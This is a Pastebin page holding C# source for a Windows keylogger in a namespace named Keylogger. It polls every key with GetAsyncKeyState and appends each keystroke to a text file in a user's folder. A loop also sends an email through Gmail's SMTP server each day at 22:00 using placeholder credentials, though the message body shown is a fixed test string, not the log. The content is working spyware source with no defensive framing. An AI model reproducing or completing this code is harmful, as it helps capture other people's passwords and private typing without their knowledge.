Advertisement
Guest User

Untitled

a guest
Jul 8th, 2018
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.00 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. using System.Windows.Forms;
  8. using System.Runtime.InteropServices;
  9. using System.Threading;
  10. using System.IO;
  11.  
  12. using System.Net.Mail;
  13.  
  14. namespace Keylogger
  15. {
  16.     class Program
  17.     {
  18.         [DllImport("user32.dll")]
  19.         public static extern int GetAsyncKeyState(Int32 i);
  20.  
  21.         static void Main(string[] args)
  22.         {
  23.  
  24.             LogKeys();
  25.  
  26.         }
  27.  
  28.         static void LogKeys()
  29.         {
  30.  
  31.             String path = (@"C:\Users\juanp\KeyLog.text");
  32.  
  33.             if (!File.Exists(path))
  34.             {
  35.                 using (StreamWriter sw = File.CreateText(path))
  36.                 {
  37.                 }
  38.             }
  39.  
  40.             KeysConverter converter = new KeysConverter();
  41.             String text = "";
  42.  
  43.             while (true)
  44.             {
  45.                 if(DateTime.Now.Hour == 22){
  46.                     MailMessage mail = new MailMessage("you@gmail.com", "user@gmail.com");
  47.                     SmtpClient client = new SmtpClient();
  48.                     client.Port = 587;
  49.                     client.DeliveryMethod = SmtpDeliveryMethod.Network;
  50.                     //Correo necesario para enviar.
  51.                     client.Credentials = new System.Net.NetworkCredential("user@gmail.com","password");*
  52.                     client.Host = "smtp.gmail.com";
  53.                     mail.Subject = "this is a test email.";
  54.                     mail.Body = "this is my test email body";
  55.                     client.Send(mail);
  56.                 }
  57.  
  58.                 Thread.Sleep(10);
  59.  
  60.                 for (Int32 i = 0; i < 255; i++)
  61.                 {
  62.  
  63.                     int key = GetAsyncKeyState(i);
  64.  
  65.                     if (key == 1 || key == -32767)
  66.                     {
  67.  
  68.                         text = converter.ConvertToString(i);
  69.  
  70.                         using (StreamWriter sw = File.AppendText(path))
  71.                         {
  72.  
  73.                             sw.WriteLine(text);
  74.  
  75.                         }
  76.  
  77.                         break;
  78.  
  79.                     }
  80.  
  81.                 }
  82.  
  83.             }
  84.  
  85.         }
  86.  
  87.     }
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement